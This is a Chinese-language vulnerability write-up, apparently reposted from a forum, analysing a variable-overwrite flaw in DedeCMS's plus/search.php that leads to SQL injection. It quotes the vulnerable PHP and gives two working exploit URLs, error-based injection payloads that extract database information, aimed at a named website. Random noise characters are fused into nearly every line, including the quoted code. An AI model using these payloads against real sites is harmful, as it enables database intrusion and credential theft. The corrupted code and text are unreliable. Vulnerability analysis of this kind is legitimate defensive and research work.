微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋./ T- s h7 v q9 Y* p+ y8 y
作者: c4rp3nt3r@0x50sec.org, Q, y# y; Q# v4 Q5 ^
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.5 n$ @4 @8 z, m
. T$ Z/ T/ Z: t% N9 S
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
; S, k# j( T7 E1 W, N* B 8 B( U% g. I! j$ J' a" ~4 X( z
============5 x' W+ _0 x. v5 h. n- l
2 u. M; {5 F: G
& T6 e: N* [6 A# {" m
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
. x# |# O' P( y/ N) P; i
. j* u4 X/ F: x4 P* s+ ?0 l2 erequire_once(dirname(__FILE__).”/../include/common.inc.php”);
* N7 x- p! n/ w ~0 prequire_once(DEDEINC.”/arc.searchview.class.php”);# @3 n$ m, t0 ?) j) Z; y
3 e* @) F7 `( _* j
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
/ g c C7 K1 g( f8 V" Q( e$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;$ O3 R; | v7 L' i
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
/ R! h5 F/ l, l& v7 T$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
9 }" Q& ?) q# g$ @3 y7 _; t# G' a$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
/ u$ U6 o# p& S3 T" p, W& P, G0 i q5 T8 ^# k( @
if(!isset($orderby)) $orderby=”;
( h+ ~$ u; Z- I3 [% M; Z& \- `else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
9 a5 t$ W- Q- D' H5 ~0 j- X& v
5 w& g- i. i9 E5 Q0 c 6 x& Y5 N5 o t2 x. Y/ _5 k% Y
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
- `* X0 V% w$ Y+ E0 X c% aelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);2 w3 v3 G* S$ s8 [0 j$ s- m
% P3 o* [+ ]0 q' [5 \/ Y* r1 \if(!isset($keyword)){, U+ X, O" d5 j4 J
if(!isset($q)) $q = ”;
! t* |' w. p3 O. ~7 z8 | $keyword=$q;
. b* u2 g# G* L& v* E}
7 ^/ X3 T8 e* j 0 T4 `* j$ |: G6 E
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));. C* M; _& ?* ~/ K* v: k/ q% J' q
$ f# {; P e1 d' P/ L! k
//查找栏目信息) \7 f& m" @ ]8 |, H# |/ |
if(empty($typeid)). j: R" R8 z c4 x' ~
{
" ~' w+ z1 ?* N, k3 c& {+ z9 V $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
1 V. m: u+ L! g0 j if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )2 ^( W( u- `! e
{& n$ X# |- H4 @1 q% x7 W2 x/ y
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
- X+ X; y* K x3 O1 R fwrite($fp, “<”.”?php\r\n”);; X; J( ?6 |) G7 p/ v
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
$ k5 m3 U1 y2 n) J $dsql->Execute();
+ X- m: v9 `( {3 z2 n0 R while($row = $dsql->GetArray())) I9 ]& g f& u* ?
{
- j) o" Z/ }! L) g8 H# `- H+ c fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
- L$ [0 \- ]4 t! Y6 F7 R2 R4 m }
1 s+ a( g: C" O" y( j$ Q; { fwrite($fp, ‘?’.'>’);
" w: Q, G) P) g! D3 ~9 n fclose($fp);! S* N! ]1 t* p1 v
}
6 f0 O# D1 L2 `3 Y6 x //引入栏目缓存并看关键字是否有相关栏目内容
7 b- ]! ]0 u% y9 L require_once($typenameCacheFile);
6 I8 B7 W& a- F/ z//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个" _5 M! W% S( W9 A2 N
//7 K4 [% H$ ?( N) g' \' K
if(isset($typeArr) && is_array($typeArr))
' T" b1 [5 Y! q2 ~ {7 \' T: M ~: _/ D6 B! G
foreach($typeArr as $id=>$typename)
! g. Y, w! k: Q7 l {
7 f. f3 X" {- o V: I7 s: j6 y! z
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过& g* X7 o) T: {( E6 W' h' }" }& n& Z
if($keyword != $keywordn)
) ~) _+ v/ o( z {8 `; ]; C. d' c4 k6 R: A
$keyword = $keywordn;( M3 \3 d; ~6 E2 O8 N
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
Y7 ]$ P" m2 B1 O, r1 t8 { break;) G+ U' l/ [# ~" g' T
}) }) o& d2 ~1 Z* y/ ]6 E7 l: K9 P% x
}
* G# ~: A( r+ G2 m }
; ?0 e. X$ H4 `7 T1 B6 }}
% S; Z0 z7 Y. T# D) ?然后plus/search.php文件下面定义了一个 Search类的对象 .' p$ `5 ~# s6 i- P: v
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
( ^9 i3 t! k9 G" L& l/ c- U0 r$this->TypeLink = new TypeLink($typeid);
9 v8 ?/ R) M2 Z, q ! l8 c* [/ ?+ ^$ G
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
7 k4 V7 C, P( p3 y/ S! z5 a 0 S6 ?# E" O7 y4 O/ F
class TypeLink
& I0 v5 v) [# z+ D{
) K& D1 I( x# F$ {: v. o) p var $typeDir;
& G# e# z3 C* ?* e4 [6 ^ P var $dsql;+ D/ P" X0 C+ Y& s- H
var $TypeID;0 d1 Z& f r ]6 l+ ^0 x1 z5 g# Y5 H
var $baseDir;5 x+ }( D# e9 m6 x" d5 |
var $modDir;% d& L1 |# ^" ^5 G4 g& ^
var $indexUrl;
8 m& d# R7 a- [! T) ?; @- p# V2 H( E var $indexName;
q# }; r# Z9 P V1 v0 k var $TypeInfos;
0 Z1 Y5 j( G* Y- M# z0 G: w var $SplitSymbol;8 L& {- I6 H8 b
var $valuePosition;
" U7 E% s/ [/ @8 g, m4 i var $valuePositionName;! h5 E: [: t0 O; l( n
var $OptionArrayList;//构造函数///////
' I- q2 E# ?8 |9 e //php5构造函数& _1 w5 Q; Z. x N9 d- ]" @
function __construct($typeid)$ c( y" U& ?2 n* b" S9 W
{
\ j4 ^7 X" [) @7 V7 x+ t/ _. q $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
$ @: G. P! S% y( K8 x- g2 t $this->indexName = $GLOBALS['cfg_indexname'];
2 @ k2 i6 }( ^2 m& V. ~ $this->baseDir = $GLOBALS['cfg_basedir'];
( d9 e: R w+ h/ _ $this->modDir = $GLOBALS['cfg_templets_dir'];
' z* K8 P- f( t" D) Q $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
4 M, T) N- s7 E% R1 h $this->dsql = $GLOBALS['dsql'];* t1 j& U$ F# T! ~
$this->TypeID = $typeid;
5 `# n9 f: ^! c. ^2 I4 k# b1 h) } $this->valuePosition = ”;! @8 w% t" c. W
$this->valuePositionName = ”;
& }& v' W( N I# m0 h# f1 H7 X ] $this->typeDir = ”;! k7 H& k' _7 }! V
$this->OptionArrayList = ”;, ]) F( A p d& J3 q9 \9 B
0 p) f8 J1 W3 K" s7 d# l, e
//载入类目信息
0 i+ H1 H& f5 o 7 p, @+ _" S- y; C. A
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
1 J' B" @6 A$ E/ M- Ictypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
/ j- V' `6 ^1 h; h: b# L6 H`#@__channeltype` ch
( ]! p" |) O6 ]9 B' W( N on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿+ Z2 i9 D2 C7 F8 F
B/ g/ [) Y% Q9 u6 x) n: g
if($typeid > 0)
3 `: @0 [- \1 v; {5 n# o7 A6 l$ z {
7 V/ b3 y3 O- B6 m) \* E. k $this->TypeInfos = $this->dsql->GetOne($query);6 F$ v; v+ a$ R: N# D* W6 e$ m
利用代码一 需要 即使magic_quotes_gpc = Off8 _# m; p* s! ]+ E# c
# H5 n4 X( B: V8 e# s# x
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
" `& T* y& e/ | " U4 c1 ^, `( L, ^# d/ x5 Q9 `0 V7 L
这只是其中一个利用代码… Search 类的构造函数再往下) @1 B5 q3 U+ |. r( Q
/ r' C: a; w2 e [; C' F1 T) N; \
……省略
7 e/ h2 r7 ] J8 I$this->TypeID = $typeid;
, k1 R/ Q: [% P9 m……省略( a" y9 P: L7 _& C' }. P. W
if($this->TypeID==”0″){/ C6 d9 |9 i* e
$this->ChannelTypeid=1;% X4 K+ r* L2 l8 S+ _/ O
}else{1 I2 C1 ~: W, `$ C
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲 b, [" N5 A# t* a: _3 @4 P ^
//现在不鸡肋了吧亲…
9 I& v* R2 H& C/ L8 i0 I( } $this->ChannelTypeid=$row['channeltype'];
! h: B$ b" T: t" d$ C8 w0 P * P# e% C6 b" c8 q
}
3 C& F' Q3 z4 X) M利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.3 ]# z- f) ~( i' I
$ U6 ?; ?7 k; V$ rwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title7 w, I {0 z. \/ ?
0 m# E! U; }: x" J( N, m3 a& `5 j
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站, F" |! W( X% [: h. s& C
|